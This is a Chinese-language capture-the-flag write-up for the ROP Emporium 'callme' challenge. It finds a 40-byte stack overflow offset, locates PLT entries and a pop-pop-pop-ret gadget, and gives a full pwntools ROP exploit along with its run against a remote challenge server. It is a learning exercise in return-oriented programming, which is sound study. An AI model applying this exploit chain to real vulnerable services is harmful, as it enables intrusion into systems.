一道简单的栈溢出题

0x00 源码分析

很明显的栈溢出

1
2
3
4
5
6
7
8
9
char *pwnme()
{
char s; // [sp+0h] [bp-20h]@1

memset(&s, 0, 0x20uLL);
puts("Hope you read the instructions...");
printf("> ", 0LL);
return fgets(&s, 256, stdin);
}

来看看这个usefulFunction函数:

1
2
3
4
5
6
7
void __noreturn usefulFunction()
{
callme_three(4LL, 5LL, 6LL);
callme_two(4LL, 5LL, 6LL);
callme_one(4LL, 5LL, 6LL);
exit(1);
}

有三个函数:

callme_one ,callme_two,callme_three

callme_one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall callme_one(int a1, int a2, int a3)
{
FILE *stream; // [sp+18h] [bp-8h]@4

if ( a1 != 1 || a2 != 2 || a3 != 3 )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("encrypted_flag.txt", "r");
if ( !stream )
{
puts("Failed to open encrypted_flag.txt");
exit(1);
}
g_buf = (char *)malloc(0x21uLL);
if ( !g_buf )
{
puts("Could not allocate memory");
exit(1);
}
g_buf = fgets(g_buf, 33, stream);
return fclose(stream);
}

callme_two:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FILE *__fastcall callme_two(int a1, int a2, int a3)
{
FILE *result; // rax@4
char v4; // si@8
signed int i; // [sp+14h] [bp-Ch]@7
FILE *stream; // [sp+18h] [bp-8h]@4

if ( a1 != 1 || a2 != 2 || a3 != 3 )
{
puts("Incorrect parameters");
exit(1);
}
result = fopen("key1.dat", "r");
stream = result;
if ( !result )
{
puts("Failed to open key1.dat");
exit(1);
}
for ( i = 0; i <= 15; ++i )
{
v4 = fgetc(stream);
result = (FILE *)&g_buf[i];
LOBYTE(result->_flags) = v4 ^ g_buf[i];
}
return result;
}

callme_three:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __fastcall __noreturn callme_three(int a1, int a2, int a3)
{
signed int i; // [sp+14h] [bp-Ch]@7
FILE *stream; // [sp+18h] [bp-8h]@4

if ( a1 == 1 && a2 == 2 && a3 == 3 )
{
stream = fopen("key2.dat", "r");
if ( !stream )
{
puts("Failed to open key2.dat");
exit(1);
}
for ( i = 16; i <= 31; ++i )
g_buf[i] ^= fgetc(stream);
printf("%s", g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}

开始看到usefulFunction函数时,以为需要调用这个函数,但是你仔细看每一个callme_函数,你会发现传入的参数必须是 1,2,3,不然就会显示Incorrect parameters,然后退出。

那么根据这个usefulFunction函数可以知道这三个函数的调用顺序是callme_one,callme_two,callme_three

思路有了,那么接下来就是调试

0x01 程序调试

gdb动起来,先生成300个随机字符串,用来填充缓冲区:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mask@mask-virtual-machine:~$ gdb ./callme 
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./callme...(no debugging symbols found)...done.
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'

然后r运行起来,输入刚才那300个填充字符串

1
2
3
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401a56 in pwnme ()

可以看到停在了pwnme函数处,这里有一点需要注意:

PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

这里引用了蒸米师傅一步一步学ROP的文章中的原话,解释的很清楚了,那么我们来看看rsp数值:

1
2
3
gdb-peda$ x/gx $rsp
0x7fffffffde68: 0x4141464141304141
gdb-peda$

然后计算距离溢出点的偏移:

1
2
3
4
5
gdb-peda$ x/gx $rsp
0x7fffffffde68: 0x4141464141304141
gdb-peda$ pattern offset 0x4141464141304141
4702116732032008513 found at offset: 40
gdb-peda$

偏移为40

第二步,我们需要找到callme_one,callme_two,callme_three这三个函数的地址,因为这里是动态链接,那么我们只需要知道他们的.plt地址即可,关于got和.plt的概念请参考这篇文章:

Linux中的GOT和PLT到底是个啥

这里我们使用Linux下的objdump来找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mask@mask-virtual-machine:~$ objdump -d callme | grep plt
4017d0: e8 bb 00 00 00 callq 401890 <exit@plt+0x10>
Disassembly of section .plt:
00000000004017e0 <puts@plt-0x10>:
00000000004017f0 <puts@plt>:
0000000000401800 <printf@plt>:
0000000000401810 <callme_three@plt>:
0000000000401820 <memset@plt>:
0000000000401830 <__libc_start_main@plt>:
0000000000401840 <fgets@plt>:
0000000000401850 <callme_one@plt>:
0000000000401860 <setvbuf@plt>:
0000000000401870 <callme_two@plt>:
0000000000401880 <exit@plt>:
Disassembly of section .plt.got:
0000000000401890 <.plt.got>:
4018c4: e8 67 ff ff ff callq 401830 <__libc_start_main@plt>
4019b3: e8 a8 fe ff ff callq 401860 <setvbuf@plt>
4019d1: e8 8a fe ff ff callq 401860 <setvbuf@plt>
4019db: e8 10 fe ff ff callq 4017f0 <puts@plt>
4019e5: e8 06 fe ff ff callq 4017f0 <puts@plt>
4019f9: e8 f2 fd ff ff callq 4017f0 <puts@plt>
401a1e: e8 fd fd ff ff callq 401820 <memset@plt>
401a28: e8 c3 fd ff ff callq 4017f0 <puts@plt>
401a37: e8 c4 fd ff ff callq 401800 <printf@plt>
401a4f: e8 ec fd ff ff callq 401840 <fgets@plt>
401a6a: e8 a1 fd ff ff callq 401810 <callme_three@plt>
401a7e: e8 ed fd ff ff callq 401870 <callme_two@plt>
401a92: e8 b9 fd ff ff callq 401850 <callme_one@plt>
401a9c: e8 df fd ff ff callq 401880 <exit@plt>
mask@mask-virtual-machine:~$

那么这三个函数的地址我们知道了:

1
2
3
callme_one_plt__got = 0x00401850
callme_two_plt__got = 0x00401870
callme_three_plt__got = 0x00401810

那么第三步,还差一个关键地方,再次引用蒸米师傅的原话

这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。

那么来找咯:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
mask@mask-virtual-machine:~$ objdump -d callme | grep -A 3 pop
4018a5: 5e pop%rsi
4018a6: 48 89 e2 mov%rsp,%rdx
4018a9: 48 83 e4 f0 and$0xfffffffffffffff0,%rsp
4018ad: 50 push %rax
--
4018ef: 5d pop%rbp
4018f0: bf 78 20 60 00 mov$0x602078,%edi
4018f5: ff e0 jmpq *%rax
4018f7: 66 0f 1f 84 00 00 00 nopw 0x0(%rax,%rax,1)
--
401900: 5d pop%rbp
401901: c3 retq
401902: 0f 1f 40 00 nopl 0x0(%rax)
401906: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
--
40193d: 5d pop%rbp
40193e: bf 78 20 60 00 mov$0x602078,%edi
401943: ff e0 jmpq *%rax
401945: 0f 1f 00 nopl (%rax)
401948: 5d pop%rbp
401949: c3 retq
40194a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)

--
401962: 5d pop%rbp
401963: c6 05 3e 07 20 00 01 movb $0x1,0x20073e(%rip)# 6020a8 <completed.7585>
40196a: f3 c3 repz retq
40196c: 0f 1f 40 00 nopl 0x0(%rax)
--
401990: 5d pop%rbp
401991: e9 7a ff ff ff jmpq 401910 <register_tm_clones>

0000000000401996 <main>:
--
401a03: 5d pop%rbp
401a04: c3 retq

0000000000401a05 <pwnme>:
--
401ab0: 5f pop%rdi
401ab1: 5e pop%rsi
401ab2: 5a pop%rdx
401ab3: c3 retq
401ab4: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
401abb: 00 00 00
--
401b1a: 5b pop%rbx
401b1b: 5d pop%rbp
401b1c: 41 5c pop%r12
401b1e: 41 5d pop%r13
401b20: 41 5e pop%r14
401b22: 41 5f pop%r15
401b24: c3 retq
401b25: 90 nop
401b26: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
mask@mask-virtual-machine:~$

那么地址就取pppr_addr = 0x00401ab0

那么所有的都准备好了,接下来就是编写exp

0x02 exp的编写

使用了pwntools工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

callme_one_plt_got = 0x00401850
callme_two_plt_got = 0x00401870
callme_three_plt_got = 0x00401810
pppr_addr = 0x00401ab0

payload = ""
payload += "A"*40
payload += p64(pppr_addr)
payload += p64(0x1) + p64(0x2) + p64(0x3)#传入参数
payload += p64(callme_one_plt_got)
payload += p64(pppr_addr)
payload += p64(0x1) + p64(0x2) + p64(0x3)#传入参数
payload += p64(callme_two_plt_got)
payload += p64(pppr_addr)
payload += p64(0x1) + p64(0x2) + p64(0x3)#传入参数
payload += p64(callme_three_plt_got)

# io = process("./callme")#本地调试

io = remote('172.106.194.121',9999)#连接远程端口,按照题目给的
io.sendline(payload)
print io.recvall()

运行:

1
2
3
4
5
6
7
8
9
10
11
mask@mask-virtual-machine:~/x64Pwn/callme$ vim exp.py 
mask@mask-virtual-machine:~/x64Pwn/callme$ python exp.py
[+] Opening connection to 172.106.194.121 on port 9999: Done
[+] Receiving all data: Done (99B)
[*] Closed connection to 172.106.194.121 port 9999
callme by ROP Emporium
64bits

Hope you read the instructions...
> flag-{Do_more_and_ask_less}-flag
mask@mask-virtual-machine:~/x64Pwn/callme$

成功!

0x03 总结

学习了构造函数传参的payload以及GOT和.plt等延迟绑定技术